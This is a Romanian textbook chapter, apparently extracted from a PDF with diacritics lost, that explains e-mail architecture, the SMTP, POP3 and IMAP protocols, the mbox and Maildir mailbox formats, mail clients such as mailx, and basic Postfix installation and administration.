pe altecomputere sub forma de e-mail-uri. A primit numeroase premii pentru activitile sale. Electronic mail (pot/mesagerie electronic), abreviat e-mail sau e-mail, este o metod de compunere, transmitere, recepie i accesare a mesajelor peste sisteme de comunicaie electronic. Termenul se aplic att sistemelor de e-mail din Internet bazate pe SMTP (Simple Mail Transfer Protocol) ct i sistemelor de grupuri de colaborare care permit utilizatorilor unei companii sau organizaii s transmit mesaje alteia. n acest capitol sunt prezentate detalii legate de funcionarea i arhitectura sistemului de e-mail i protocoalele i aplicaiile utilizate. Ideea de mesagerie electronic dateaz din anul 1971, cnd Ray Tomlinson dezvolta prima aplicaie de e-mail pentru ARPANET. Utilizat preponderent la nceputul Internetului, serviciul de e-mail a pierdut teren n faa altor protocoale precum FTP, HTTP, Bittorrent. Cu toate acestea, extinderea Internetului i apariia unor forme diverse de platforme de colaborare asigur folosirea la scar larg a serviciului. Dac la nceput comunicaia prin e-mail se realiza n cea mai mare parte ntre dou persoane, o bun parte din mesajele trimise n Internet sunt mesaje pentru liste de discuii, forumuri, sisteme de ticketing sau bug-tracking sau pentru alte forme de colaborare. Probabil c cea mai important problem a serviciului de e-mail sunt mesajele nesolicitate (e-mail spam). Se apreciaz c mesajele nesolicitate reprezint peste 80% din totalul de mesaje din lume. Diferite tehnici anti-spam precum integrarea lor n serverele de transfer, DNS blacklisting, greylisting sunt folosite pentru a bloca mesajele nesolicitate.

284 | R e e l e L o c a l e

8.1 Arhitectur i funcionare. Protocoale


Dei serviciul de e-mail are o funcionare clasic de tipul client-server peste TCP, un mesaj parcurge mai multe componente din momentul compunerii pn n momentul citirii. Componentele parcurse de mesaj din momentul livrrii acestuia pn la stocarea acestuia sunt denumite i ageni.
MTA (Mail Transfer Agent, server SMTP) (denumit mail server sau mail exchange server n context DNS) - este un program sau agent software care asigur transferul mesajelor de la un calculator la altul (de la surs la destinaie); MUA (Mail User Agent) (denumit e-mail client) - este programul folosit pentru citirea, compunerea i transmiterea de mesaje de pot electronic; citirea de mesaje se face folosind POP3 sau IMAP, iar transmiterea se face folosind SMTP (prezentate mai jos); MDA (Mail Delivery Agent, sau LDA - Local Delivery Agent) - este program care accept mesajele e-mail i le distribuie ctre csua potal a destinatarului; csu potal (message storage) este o intrare n sistemul local de fiiere utilizat pentru stocarea mesajelor de pot electronic; csua potal este interogat de MUA pentru preluarea mesajelor de pot electronic si de MTA (eventual MDA) pentru stocarea de noi mesaje; server POP3/IMAP server folosit pentru copierea sau accesarea mesajelor stocate n csua potal; clientul (MUA) folosete POP3 sau IMAP n cadrul comunicaiei cu serverul.

Serviciul de pot electronic funcioneaz pe baza a trei protocoale importante, care asigur comunicaia ntre componentele de mai sus. Toate trei protocoalele funcioneaz peste TCP.
SMTP (Simple Mail Transfer Protocol) - protocol utilizat de mail servere (MTA); SMTP este standardul de facto pentru transmiterea mesajelor electronice n Internet; portul implicit utilizat este 25; MTA-ul ascult pe portul specificat cereri de transmitere de mesaje de pot electronic n format SMTP; SMTP este folosit n cadrul unei sesiuni de comunicaie ntre MUA i MTA sau ntre dou MTA-uri; POP3 (Post Office Protocol version 3) - protocol utilizat de clientul de e-mail (MUA) pentru a descrca mesajele de pot electronic de pe un server; portul implicit utilizat este 110; IMAP (Internet Message Access Protocol) - protocol folosit de MUA pentru accesarea mesajelor electronice pe un server; portul implicit utilizat este 143.

Pe un sistem care ruleaz un daemon/serviciu POP3 sau IMAP, un client de e-mail se va conecta la portul specific i, folosind protocolul n cauz, va interoga csua potal a utilizatorului specificat pentru citirea mesajelor. Formatul unei adrese de pot electronic este format din trei campuri:
numele utilizatorului care dorete transmiterea sau recepia mesajului; simbolul @ (citit at sau a-rond); numele domeniului (DNS name) pentru care se transmite/recepioneaz mesajul.

8.1.1 Funcionarea serviciului de e-mail


Pentru a exemplifica modul n care componentele prezente mai sus interacioneaz, se presupune urmtoarea situaie: Ana are adresa de mail ana@avatar.org i dorete s-i transmit un mesaj lui Bogdan, care are adresa de mail bogdan@berserk.org. MTA-ul domeniului avatar.org este smtp.avatar.org, iar cel al domeniului berserk.org este smtp.berserk.org. Paii urmai sunt urmtorii:
1. Ana compune un mesaj folosind un MUA; dup ce comand transmiterea mesajului, MUA-ul transform mesajul ntr-un format specific1, se conecteaz la MTA-ul local (sau cel configurat

RFC 822

285 | E - m a i l n MUA), n cazul de fa, smtp.avatar.org, i folosete SMTP pentru a transmite mesajul ctre acesta; MTA-ul analizeaz adresa destinaie furnizat prin SMTP (bogdan@berserk.org); folosete DNS pentru a afla mail exchange serverul responsabil pentru domeniul berserk.org; serverul de nume pentru berserk.org rspunde cu o nregistrare de tipul MX coninnd MTA-ul responsabil: smtp.berserk.org; mesajul este transmis ntre MTA-uri (de la smtp.avatar.org la smtp.berserk.org) folosind SMTP; (opional) la destinaie, LDA realizeaz distribuia mesajelor n csua potal a lui Bogdan; LDA-ul este responsabil cu filtrarea mesajelor; Bogdan folosete MUA-ul propriu pentru a citi mesajul; acesta se poate conecta pe sistemul unde se gsete csua de pot electronic (folosind IMAP) sau poate ridica mesajele de pe server pentru a le consulta offline (folosind POP3).

2. 3.

4. 5.

Paii de mai sus sunt prezentai n figura urmtoare:


To:bogdan@berserk.org From: ana@avatar.org To:bogdan@berserk.org From: ana@avatar.org

MUA Ana

SMTP

POP3/IMAP SMTP

Bogdan browse r
smtp.berserk.org

smtp.avatar.org

mx.berserk.org

MX berserk.org?
ns.berserk.org

8-1: Funcionarea serviciului de e-mail

8.1.1.1 Open mail relays


Iniial, MTA-urile acceptau mesaje ctre orice destinatar din Internet i ncercau transmiterea acestora ctre destinaie. Astfel de MTA-uri sunt denumite open mail relays. Acest lucru era important la nceputul Internetului cnd conexiunile erau nesigure. Dac un MTA nu putea ajunge la destinaie, el putea transmite (relay) mesajul ctre un server relay care era mai apropiat de destinaie. Serverul relay ar fi avut o ans mult mai bun de transmitere a mesajului la un moment ulterior. Totui, acest mecanism s-a dovedit a fi exploatabil de ctre cei care transmiteau mesaje electronice nesolicitate (spam). Drept consecin, foarte puine MTA-uri moderne au funcionalitate de open mail relay i cea mai mare parte nu vor accepta mesaje de la MTA-uri de tip open mail relay pentru c este foarte probabil ca aceste mesaje s fie spam. ISP-urile practic dou metode pentru a preveni ca serverele lor sa devin open relay: acceptarea conexiunilor doar de la clienii si (un spammer, care nu este client al ISP-ului nu va putea folosi acel server) i crearea unor liste de destinatari acceptai (allowed recipients) astfel nct un spammer nu va putea folosi acel server pentru a trimite mail catre orice destinaie.

286 | R e e l e L o c a l e

8.1.2 Formatul mesajelor


Un mesaj electronic este format1 dintr-un plic (envelope) i coninut. Plicul conine informaii cu privire la livrarea mesajului ctre destinaie, n timp ce coninutul mesajului este obiectul efectiv transferat. Plicul este descris, de obicei, prin comenzi SMTP:
MAIL FROM:<userx@y.foo.org> RCPT TO:<@hosta.int,@jkl.org:userc@d.bar.org>

Coninutul unui mesaj cuprinde dou pri: antetul i corpul mesajului. Antetul, la rndul su, reprezint o sintax strict, n vreme ce corpul reprezint o parte opional n coninutul mesajului. Corpul este format dintr-o succesiune de linii de text fr niciun fel de constrngeri. O linie din antet este compus dintr-un nume de cmp urmat de ':' i apoi descrierea cmpului. Spre exemplu, ''Subject: Mesaj de test'', folosete cmpul ''Subject'', cu descrierea ''Mesaj de test''. Descrierile de cmp pot avea un format special, dar pot fi i nestructurate. Cmpurile importante din cadrul unui mesaj pot fi observate n extrasul de mesaj de mai jos:
Return-Path: <tavi@cs.pub.ro> X-Original-To: razvand@cs.pub.ro Delivered-To: razvand@cs.pub.ro Received: from ixro-ex1.ixiacom.com (unknown [212.146.94.66]) by mail.cs.pub.ro (Postfix) with ESMTP id 7588E156B2C; Wed, 25 Jun 2008 14:12:46 +0300 (EEST) Received: from [10.205.9.116] ([10.205.9.116]) by ixro-ex1.ixiacom.com with Microsoft SMTPSVC(6.0.3790.1830); Wed, 25 Jun 2008 14:14:39 +0300 From: Octavian Purdila <tavi@cs.pub.ro> Organization: Politehnica University of Bucharest To: Razvan Deaconescu <razvand@cs.pub.ro> Subject: Re: doctorat tavi Date: Wed, 25 Jun 2008 14:11:41 +0300 User-Agent: KMail/1.9.9 Cc: Razvan Rughinis <rrazvan@cs.pub.ro> References: <200806131346.46727.tavi@cs.pub.ro> In-Reply-To: <200806131346.46727.tavi@cs.pub.ro> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200806251411.41675.tavi@cs.pub.ro> X-OriginalArrivalTime: 25 Jun 2008 11:14:39.0621 (UTC) FILETIME=[A8E6BB50:01C8D6B4] X-mail.cs.pub.ro-MailScanner: Found to be clean X-mail.cs.pub.ro-MailScanner-SpamCheck: not spam, SpamAssassin (score=0.847, required 6, autolearn=not spam, BAYES_00 0.71, FORGED_RCVD_HELO 0.14) X-mail.cs.pub.ro-MailScanner-From: tavi@cs.pub.ro

Cmpurile Return-Path, X-Original-To, Delivered-To, Received ofer informaii referitoare la calea parcurs de mesaj pn la destinaie. Cmpurile care ncep cu X sunt cmpuri speciale de extensie adugate de utilitare specializate. n exemplul de mai sus acest utilitare sunt MailScanner i SpamAssassin. Alte cmpuri prezente n mesaj sunt:
1. Cmpuri referitoare la data mesajului:
o o o o o o Date: data transmiterii mesajului (data local cnd mesajul a fost trimis spre livrare de ctre autor). From: cmpul specific una sau mai multe adrese ale autorului/autorilor mesajului ntr-un format standardizat; Reply-To: permite specificarea csuei potale unde autorul sugereaz trimiterea rspunsului; User-agent: clientul de e-mail (MUA) folosit pentru trimiterea mesajului; To: conine lista adreselor destinatarilor mesajelor; Cc (Carbon Copy): conine lista adreselor persoanelor carora le va fi livrat mesajul, fr ca acesta s le fie adresat n mod direct;

2. Cmpuri referitoare la autor:

3. Cmpuri referitoare la destinatar:

RFC 2822

287 | E - m a i l
o Bcc (Blind Carbon Copy): conine lista adreselor persoanelor crora le va fi livrat mesajul, fr ca aceste adrese s fie vizibile celorlali destinatari. Message-ID: un identificator unic al mesajului; In-Reply-To: acest cmp este prezent n mesajele de rspuns la alte mesaje i conine Message-ID-ul mesajului la care se rspunde; References: cmp prezent n mesajele de rspuns, coninnd identificatorii altor mesaje la care mesajul curent face referire. Subject: subiectul mesajului;

4. Cmpuri de identificare a mesajului:


o o o

5. Cmpuri referitoare la coninut:


o

8.1.2.1 MIME
Dat fiind faptul c n momentul elaborrii acestor specificaii nu se punea problema de a transmite altceva dect text, nu s-a definit exact forma coninutului unui mesaj. Nevoia de a transmite altceva dect text n cadrul unui mesaj (audio/video) a dus la apariia unor probleme. Soluia a fost MIME (Multipurpose Internet Mail Extension)1. Datorit largii rspndiri a sistemului definit de RFC 822, MIME nu putea s fie gndit dect ca o adugire la aceste specificaii, nicidecum ca o nlocuire. Utilitarul uuencode poate fi folosit pentru codificarea fiierelor binare n format care poate fi transmis prin e-mail:
razvan@valhalla:/tmp$ uuencode Test_vm_lin.zip hello.zip begin 644 hello.zip M4$L#!!0````(`&:HDS6\![A=F````,D````0`!4`36%K969I;&4N8VAE8VME M<E54"0`#<#>(169FB$55>`0`Z`/H`W-V\W%T#U:P5=`-3\S)4=!-Y^+2"_#P M]XNT4BA)+2[AX@**0IF<J14%^44E"CXN\3Z>3D&.09'Q`8XA'K9Z"FIJ"GKZ M$.5)I9DY*;H%1:E67)Q<7"`QB&Z]?"Y.%0UG9TVX10H*"KKY8#D%E3@%71\] [...]

8.1.3 SMTP (Simple Mail Transfer Protocol)


SMTP2 este protocolul utilizat de serverele de e-mail (MTA) pentru transportul mesajelor. n cadrul unei comunicaii, un MTA poate juca rol de server sau de client. Server va fi acel MTA care primete mesajul iar client MTA-ul care l trimite. Serverul de SMTP poate fi cel final (serverul de mail exchange asociat domeniului destinaie) sau poate avea rol intermediar: relay sau gateway. Un server de tip relay este un server care nu este cel final i va transmite mesajul ctre un alt server. Marea parte a serverelor de e-mail la nceputul Internetului erau de acest tip pentru c legturile slabe nu puteau garanta ntotdeauna o conexiune de la surs la destinaie. Server de tip gateway este un server configurat ca server de mail exchange pentru mai multe domenii care va redirecta mesajele MTA-urilor efective asociate fiecrui domeniu. Protocolul SMTP este un protocol bazat pe stri. Att serverul ct i clientul mpart aceeai viziune asupra strii curente. O sesiune este reprezentat de comenzile iniiate de clientul SMTP i de rspunsurile date de server, sub forma unor coduri numerice nsoite de un text explicativ. Un protocol simplu, SMTP folosete comenzi text pentru comunicare. Astfel, pentru specificarea destinatarului i expeditorului se vor folosi comenzile RCPT TO, respectiv MAIL FROM. Alte comenzi utile sunt HELO, DATA, QUIT. Pentru a rezolva unele dintre limitrile protocolului SMTP, un nou protocol a fost definit: ESMTP (Extended SMTP). O dat cu acest nou protocol, a fost definit i o modalitate de a determina versiunea de SMTP suportat de un server. Astfel, un client capabil de ESMTP i va ncepe dialogul cu serverul utiliznd comanda EHLO n loc de HELO. Dac rspunsul primit de
1 2

RFC 2045-2049 RFC 2821

288 | R e e l e L o c a l e

la server nu este unul de eroare, clientul va folosi n continuare ESMTP, n caz contrar revenindu-se la folosirea SMTP.

8.1.3.1 SASL i TLS


Fiind un protocol simplu, SMTP nu are integrat o facilitate de autentificare. Oricine poate trimite mesaje prin conectarea la un server SMTP. Mai mult, i poate ascunde foarte uor identitatea. Pentru a integra faciliti de autentificare n SMTP se folosete SASL 1 (Simple Authentication and Security Layer). SASL decupleaz formele de autentificare de aplicaia n sine i poate fi folosit cu o gam variat de protocoale. SASL pune la dispoziia aplicaiei mecanisme de autentificare (digest, login, plain, one time password, etc.) i un cadru de stocare a informaiei de autentificare (utilizatori, parole). ntr-o conexiune SMTP autentificarea se realizeaz prin intermediul comenzii AUTH din extensia SMTP-AUTH2. SASL ofer servicii de autentificare dar nu asigur securitatea informaiei. Numele de utilizatori sau parolele transmise n cadrul sesiunii de autentificare sunt transmise n clar. Comunicaia criptat este asigurat cu ajutorul TLS3 (Transport Layer Security). TLS permite securizarea comunicaiei folosind mecanisme de criptare cu chei publice. n general, serverul SMTP se va autentifica cu ajutorul unui certificat digital, n timp ce clienii se vor autentifica cu unele din metodele puse la dispoziie de SASL.

8.1.4 POP3 (Post Office Protocol)


POP34 este utilizat de aplicaiile de tip MUA pentru a ridica mesajele de pota electronic din csua potal (message store). POP3 a fost proiectat pentru a permite utilizatorilor cu conexiuni intermitente (cum sunt conexiunile dial-up) s extrag mesajele de pe server atunci cnd sunt conectai i apoi s le vizualizeze i s lucreze fr necesitatea unei conexiuni. Dei marea parte a clienilor de mail au opiunea de a pstra mesajele pe server, n general MUA care folosesc POP3 se conecteaz, ridic mesajele, le stocheaz pe calculatorul utilizatorului ca mesaje noi, le terg de pe server i se deconecteaz. Dezavantajul este dificultatea citirii acelorai mesaje din dou locaii diferite. n contrast, protocolul IMAP de ridicare a mesajelor electronice suport att mod de operare conectat ct i deconectat. Dialogul ncepe prin stabilirea conexiunii la cererea clientului. Serverul va rspunde cu un mesaj de ntmpinare. Urmeaz apoi un dialog format din comenzi ale clientului i rspunsuri ale serverului. Rspunsul serverului include un indicator al strii curente (+OK sau -ERR), un cuvnt cheie i, eventual, informaie adiional. La fel ca i SMTP, comenzile POP3 sunt comenzi text. Dup iniierea conexiunii, se va realiza autentificarea clientului la server. Ca i alte protocoale mai vechi din Internet, POP3 folosea la nceput mecanisme de autentificare fr criptare. Dei nc se practic transmiterea de parole n clar, POP3 suport cteva metode de autentificare pentru a furniza diverse niveluri de protecie mpotriva accesului nedorit la mesajele utilizatorului. O astfel de metod este comanda APOP care folosete MD5 pentru obinerea unei chei de autentificare. POP3 suport de asemenea metode de autentificare de tip IMAP folosind extensia AUTH. n zilele noastre este ns comun s se cripteze traficul POP3 folosind TSL/SSL.
1 2

RFC 4422 RFC 4954 3 RFC 4346 4 RFC 1939

289 | E - m a i l

8.1.5 IMAP (Internet Message Access Protocol)


Protocolul POP3 este utilizat n special pentru transferarea mesajelor de pe server pe orice alt calculator pentru a le citi offline. n cazul n care se dorete accesarea unui singur cont de pot electronic de la mai multe locaii (acas/birou), protocolul POP3 este limitat. Acest dezavantaj a dus la dezvoltarea unui alt protocol, IMAP (Internet Message Access Protocol)1. n mod asemntor cu POP3, IMAP permite transferarea mesajelor ctre un alt calculator. Atunci cnd IMAP este utilizat n modul online clientul nu transfer mesajele i nici nu le terge de pe server. Clientul poate cere ns s primeasc antetele mesajelor, anumite pri din mesaje, sau chiar mesajele care se potrivesc unui criteriu de cutare. n esen, IMAP permite manevrarea mesajelor dintr-o csu potal aflat pe un server ca i cnd acestea ar fi stocate local. Spre deosebire de POP3, protocolul IMAP ofer mai multe posibiliti de prelucrare a mesajelor din csua potal. Cea mai important caracteristic este accesarea i manevrarea mesajelor direct pe server. Fiind meninute pe server, mesajele nu sunt descrcate dect la vizualizarea lor, existnd i opiunea descrcrii doar a unei pri din mesaj. Spre deosebire de POP3, marcarea mesajelor este mult mai flexibil. Exist marcaje de: Seen (vizualizat), Answered (rspuns), Flagged (marcat ca fiind urgent), Deleted (ters), Draft (nu a fost terminat compunerea mesajului), Recent (este folosit pentru marcarea mesajelor noi, n prima sesiune n care sunt vizualizate). Spre deosebire de POP3, unde toate mesajele se gsesc pe server ntr-o singur csu potal (inbox), iar directoarele (mailbox) nu se pot crea dect n aplicaia client (MUA), protocolul IMAP permite crearea de directoare direct pe server. Utiliznd comenzi IMAP, aplicaia client poate folosi filtre pentru mutarea mesajelor dintr-un director n altul, fr s fie nevoie mcar ca mailbox-urile s fie situate pe acelai server. O alt facilitate este posibilitatea accesrii concurente a csuelor potale, aceasta fcnd posibil eventual i partajarea unei csue ntre mai muli utilizatori. Cu toate c facilitile oferite de IMAP sunt superioare POP3, avantajul protocolului POP3 rmne acela al simplitii i al nesolicitrii extensive a resurselor serverului. Din aceste motive, majoritatea furnizorilor de servicii Internet (ISP) sau e-mail vor pune la dispoziia utilizatorilor servicii POP3. De partea cealalt, reelele locale folosesc de multe ori IMAP. Folosind IMAP peste o reea de vitez ridicat, mesajele sunt accesate imediat, spre deosebire de recuperarea acestora folosind POP3 sau accesarea prin intermediul unei interfee web.

8.2 Formatul csuei potale


Dup primirea unui mesaj destinat staiei locale, MTA va stoca mesajul ntr-o intrare din sistemul local de fiiere denumit csu potal, message store sau mail spool. Formatul csuei potale trebuie s fie cunoscut de clienii de e-mail locali care vor citi mesajele sau de serverele POP3 sau IMAP care vor accesa csua pentru a livra mesajele utilizatorilor. Dei anumite servere folosesc formate particulare pentru csua potal, cele mai ntlnite dou formate sunt mbox (formatul tradiional) i Maildir (format mai recent).

8.2.1 mbox
Formatul mbox este forma tradiional de stocare a mesajelor pe un sistem Unix ntr-un singur fiier asociat fiecrui utilizator. Fiecare nou mesaj din fiier ncepe cu o linie care ncepe cu From urmat de un caracter spaiu.

RFC 2060

290 | R e e l e L o c a l e

Formatul mbox este formatul folosit implicit de majoritatea MTA-urilor. n mod obinuit, mesajele sunt livrate n directorul /var/spool/mail/$USERNAME1. MTA-urile pot fi, ns, configurate s livreze mesajele ntr-un fiier de tipul mbox din directorul home al utilizatorului. ntruct fiierul mbox poate fi accesat simultan att de MTA ct i de serverul IMAP/POP3, este necesar o form de locking care s asigure consistena accesului. n mod evident, locking-ul atrage dup sine penalizri de performan i dificultatea implementrii pe un sistem de fiiere montat n reea (cum ar fi NFS). Aceste probleme au fost cele care au condus la crearea formatului Maildir.

8.2.2 Maildir
Formatul Maildir se deosebete de formatul mbox prin faptul c nu necesit mecanisme de locking pentru a asigura integritatea mesajelor n timp ce mesajele sunt adugate, terse, mutate. Fiecare mesaj este meninut ntr-un fiier separat. Modificrile sunt realizate prin intermediul operaiilor atomice peste sistemul de fiiere. Formatul Maildir a fost creat de Daniel J. Bernstein n momentul scrierii serverului qmail. Directorul Maildir conine trei subdirectoare: tmp, new i cur, localizate, de obicei, n cadrul unui director din home-ul utilizatorului:
razvan@anaconda:~$ ls -F /home/razvan/Maildir/ courierimaphieracl/ courierimapsubscribed courierpop3dsizelist courierimapkeywords/ courierimapuiddb cur/ new/ tmp/

Fiierele din directorul new sunt mesaje livrate dar care nu au fost citite. Linia care ncepe cu From nu mai este necesar. Dup ce un mesaj este vizualizat este mutat n directorul cur. Directorul tmp este folosit n momentul livrrii mesajelor pentru a stoca un mesaj pn la scrierea acestuia n directorul new.

8.3 Clieni de e-mail


Un client de e-mail sau MUA este aplicaia folosit pentru a transmite i a citi mesaje de pot electronic. Transmiterea presupune contactarea unui server SMTP iar citirea nseamn folosirea unui server IMAP sau POP3. n zilele noastre clienii de e-mail ocup un spectru larg de funcionaliti, de la clieni n linie de comand (alpine, mutt) pn la aplicaii integrate de tip PIM (Personal Information Manager) (Microsoft Outlook, Novell Evolution) sau aplicaii web care ndeplinesc rolul de client de e-mail (Gmail, Yahoo! Mail). Facilitile de baz ale unui client de e-mail sunt folosirea POP3/IMAP pentru descrcarea/accesarea mesajelor, folosirea de filtre, folosirea de semnturi, autentificarea i criptarea comunicaiei. Printre facilitile furnizate de clienii de e-mail moderni se numr:
vizualizarea firelor de discuii suport PGP, S/MIME etichetarea mesajelor corectarea erorilor de gramatic vizualizarea imaginilor ataate (image preview), cutare indexat

Exemple de clieni de e-mail sunt:


clieni n linie de comand: mailx, mutt, alpine clieni cu interfa grafic: Microsoft Outlook, Mozilla Thunderbird, Novell Evolution, KMail, Opera Mail clieni cu interfaa web (webmail): Gmail, Yahoo! Mail, Horde IMP, SquirrelMail

http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard#Directory_structure

291 | E - m a i l

8.3.1 mailx
mailx (o versiune mbuntit a mail) este un utilitar pentru transmiterea i primirea de mesaje pe sisteme Unix. Este un client de e-mail de baz, lipsit de posibilitatea de citire a mesajelor de pe alt sistem. Mesajele sunt citite de pe sistemul local. Dei cu puine funcionaliti, mailx poate fi folosit pentru manverarea rapid a mesajelor stocate pe sistemul local. Cea mai frecvent utilizare a mailx este transmiterea de mesaje direct din linia de comand. Acest lucru permite folosirea mailx n majoritatea scripturilor care automatizeaz trimiterea de mesaje de pot electronic. Citirea mesajelor se face interactiv prin invocarea comenzii mailx (sau forma compatibil mail):
alina@anaconda:~$ mail Mail version 8.1.2 01/15/2001. Type ? for "/var/mail/alina": 24 messages 24 new >N 1 liviu.dumitrascu@ Sat Jun 9 01:24 N 2 newsletter@9am.ro Sat Jun 9 02:47 N 3 liviu.dumitrascu@ Sat Jun 9 07:46 N 4 liviu.dumitrascu@ Sun Jun 10 01:06 N 5 newsletter@wall-s Sun Jun 10 02:11 N 6 newsletter@9am.ro Sun Jun 10 09:25 N 7 newsletter@wall-s Mon Jun 11 03:20 help. 178/20754 960/53849 96/7653 165/18540 312/41081 660/52453 446/38829 61 joburi noi pentru tine Casatorii pentru comunitate Horoscopul Carierei pentru 17 joburi noi pentru tine Cele mai citite articole di Cele mai citite articole di Luni, 11 Iunie - O saptamana

Orice mesaj are un index i o stare: nou, necitit, propus pentru a fi ters, mesaj la care s-a rspuns, etc. Promptul oferit de mail este &. Comenzile posibile pot fi vizualitate prin activarea ecranului de ajutor (comanda h): t afieaz, d terge, r replic. Invocarea non-interactiv a comenzii permite transmiterea de mesaje. Astfel, dac se dorete transmiterea unui mesaj ctre utilizatorul ana@avatar.com cu subiectul Filmul saptamanii, se va folosi comanda:
razvan@anaconda:~$ mail -s "Filmul saptamanii" ana@avatar.com Vii la film miercuri? . Cc:

Caracterul . (sau opional CTRL-D) nseamn ncheierea mesajului. mailx solicit introducerea unui destinatar de tipul Carbon Copy, care a fost ignorat. Dac mesajul este stocat ntr-un fiier, se poate folosi urmtoarea comand pentru transmiterea sa:
razvan@anaconda:~$ cat hello.txt | mail -s "Filmul saptamanii" ana@avatar.com

Avantajul ultimei comenzi este lipsa de interactivitate. O astfel de comand poate fi uor integrat n scripturi care necesit transmiterea automat a mesajelor de pot electronic.

8.4 MTA
Se apreciaz c, n ziua de astzi, peste 80% din MTA-urile existente n Internet ruleaz Sendmail, Microsoft Exchange Server, Postfix i Exim. Sendmail a fost pentru mult vreme serverul de e-mail implicit datorit dezvoltrii sale nc de la nceputul Internetului. Sendmail a fost scris de Eric Allman la nceputul anilor 80. Versiunea actual este 8.14. Sendmail nu a fost proiectat cu aspecte de securitate drept pentru care a fost cauza a numeroase atacuri pe parcursul dezvoltrii Internetului. Problemele de securitate ale Sendmail au condus la crearea Qmail i Postfix. Qmail, scris de Daniel J. Bernstein, s-a dorit a fi revoluionar prin proiectarea ce inea cont de securitate. Din pcate, ncepnd cu 1997, Qmail nu mai este dezvoltat i numrul de sisteme ce ruleaz Qmail a sczut. Postfix a urmrit, de asemenea, atent condiiile necesare pentru asigurarea securitii. Una dintre deciziile importante a fost abandonarea sistemului monolitic folosit de Sendmail i

292 | R e e l e L o c a l e

folosirea unui sistem modular. Postfix este compus dintr-un set de daemoni cu drepturi limitate care ndeplinesc diverse sarcini necesare. Exim folosete modelul monolitic al Sendmail fr a avea parte, ns, de aceeai istorie de vulnerabiliti. Cunoscndu-se problemele de securitate ale Sendmail, Exim a fost proiectate pentru a nu suferi de aceleai vulnerabiliti. Ajuns la versiunea 4, Exim este MTA cu un nivel ridicat de configurabilitate. Printre funcionalitile avansate ale Exim se numr folosirea de liste de acces i integrarea unui framework de scanare a coninutului util ca filtru antivirus sau anti-spam. n lumea Unix, Sendmail rmne cel mai folosit MTA. Totui, dificultatea n configurare, istoria de vulnerabiliti i existena unor soluii precum Postfix i Exim a dus la diminuarea instalrilor de Sendmail. n ziua de astzi, majoritatea administratorilor de sistem recomand folosirea Postfix sau Exim.

8.5 Postfix
Aprut iniial n cadrul unui proiect de jumtate de an pornit de Wietse Venema, Postfix a fost dezvoltat ulterior, dovedindu-se o alternativ mai rapid i mai sigur pentru Sendmail. Obiectivele de proiectare ale Postfix au fost fiabilitatea, performana, uurina n utilizare i administrare i securitatea. Postfix pune la dispoziia administratorului un numr limitat de fiiere de configurare cu directive simple. Pentru a facilita adoptarea Postfix ca MTA, multe dintre fiierele i comenzile folosite de Sendmail sunt compatibile n Postfix. Comenzi precum sendmail, newaliases i fiiere precum /etc/aliases sau .forward i-au pstrat rolul i n Postfix. Problemele majore ale Sendmail au fost cele de securitate. Postfix folosete o serie de mecanisme pentru asigurarea securitii. Una din deciziile de proiectare importante a fost modularitatea. n vreme ce Sendmail este un sistem monolitic, folosind un singur executabil cu drepturi privilegiate pentru executarea sarcinilor, Postfix folosete un proces cu drepturi limitate pentru fiecare tip de sarcin. Fiecare din procesele Postfix, denumite i ageni, ruleaz sub paradigma celui mai mic privilegiu i execut doar sarcina proprie: transmitere mesaj, stocare mesaj, livrare local, gestiunea cozii, etc. Singurul proces care ruleaz cu drepturi privilegiate este procesul master care le pornete pe toate celelalte. Postfix folosete de asemenea facilitatea de chroot a sistemelor Unix pentru a limita vizibilitatea sistemului de fiiere pentru un proces. De obicei, procesele Postfix sunt rulate n jail-ul /var/spool/postfix.

8.5.1 Arhitectur 8.5.2 Instalare


Pe sistemele Debian-based, Postfix este disponibil n forma binar n pachetul postfix.
# apt-get install postfix

n cadrul procesului de instalare trebuie rspuns la cteva ntrebri pentru a se specifica:


1. Tipul serverului. Din opiunile disponibile (No configuration, Internet Site, Internet with smathost, Satellite system, Local Only), cel mai adesea se va alege Internet Site. 2. Numele serverului. Trebuie specificat sub forma nume.domeniu, de exemplu mailtest.cs.pub.ro.

Dup instalare se specific modul n care se poate altera configuraia curent a Postfix i vizualizarea valorilor configurate:
Postfix is now set up with a default configuration. If you need to make changes, edit /etc/postfix/main.cf (and others) as needed. To view Postfix configuration values, see postconf(1).

293 | E - m a i l
After modifying main.cf, be sure to run '/etc/init.d/postfix reload'.

8.5.3 Interaciunea cu Postfix


Interaciunea cu serverul Postfix se poate realiza n mai multe moduri. Ca orice serviciu, Postfix poate fi oprit, repornit, pornit prin intermediul scripturilor de iniializare a sistemului:
cuirass:~# /etc/init.d/postfix stop Stopping Postfix Mail Transport Agent: postfix. cuirass:~# /etc/init.d/postfix start Starting Postfix Mail Transport Agent: postfix. cuirass:~# /etc/init.d/postfix restart Stopping Postfix Mail Transport Agent: postfix. Starting Postfix Mail Transport Agent: postfix. n plus, comanda postfix poate fi folosit cu acelai scop: cuirass:~# postfix stop postfix/postfix-script: stopping the Postfix mail system cuirass:~# postfix start postfix/postfix-script: starting the Postfix mail system cuirass:~# postfix reload postfix/postfix-script: refreshing the Postfix mail system

Pachetul Postfix instaleaz alte programe utile pentru comanda i gestiunea serverului Postfix precum newalisases sau postconf.

8.5.3.1 Jurnalizare
Verificarea corectitudinii funcionrii serverului Postfix se realizeaz, de obicei, prin inspecia fiierelor de jurnalizare. n mod obinuit, fiierele de jurnalizare se gsesc n /var/log/mail.*. Exist, de obicei, 4 fiiere corespunztoare diferitelor niveluri de jurnalizare i eroare:
mail.log mail.info mail.err mail.warn

Aceste fiiere pot fi inspectate pentru a verifica ce mesaje sunt transmise sau pentru a verifica erorile aprute la transmisia unui mesaj. Cele 4 fiiere corespund nivelurilor de jurnalizare diferite: erori (.err), avertismente (.warn), informaii (.info), operaii jurnalizate (.log).

8.5.3.2 Alte comenzi utile



mailq - afieaz informaii despre mesajele din coada de mesaje (ID, dimensiune, surs,

destinaie, motivul pentru care nu a fost livrat - dac este cazul, etc.); postsuper -d queue_id - terge mesajul identificat de queue_id din coada de mesaje; pentru tergerea tuturor mesajelor se utilizeaz postsuper -d ALL; postqueue -f - foreaz retrimiterea mesajelor din coad.

8.5.4 Fiiere de configurare


Fiierele de configurare ale Postfix-ului se gsesc n /etc/postfix, cele mai importante fiind /etc/postfix/main.cf i /etc/postfix/master.cf. Fiierul principal de configurare este /etc/postfix/main.cf. Dup fiecare modificare a acestor fiiere este necesar repornirea serverului:
# /etc/init.d/postfix reload

sau
# postfix reload

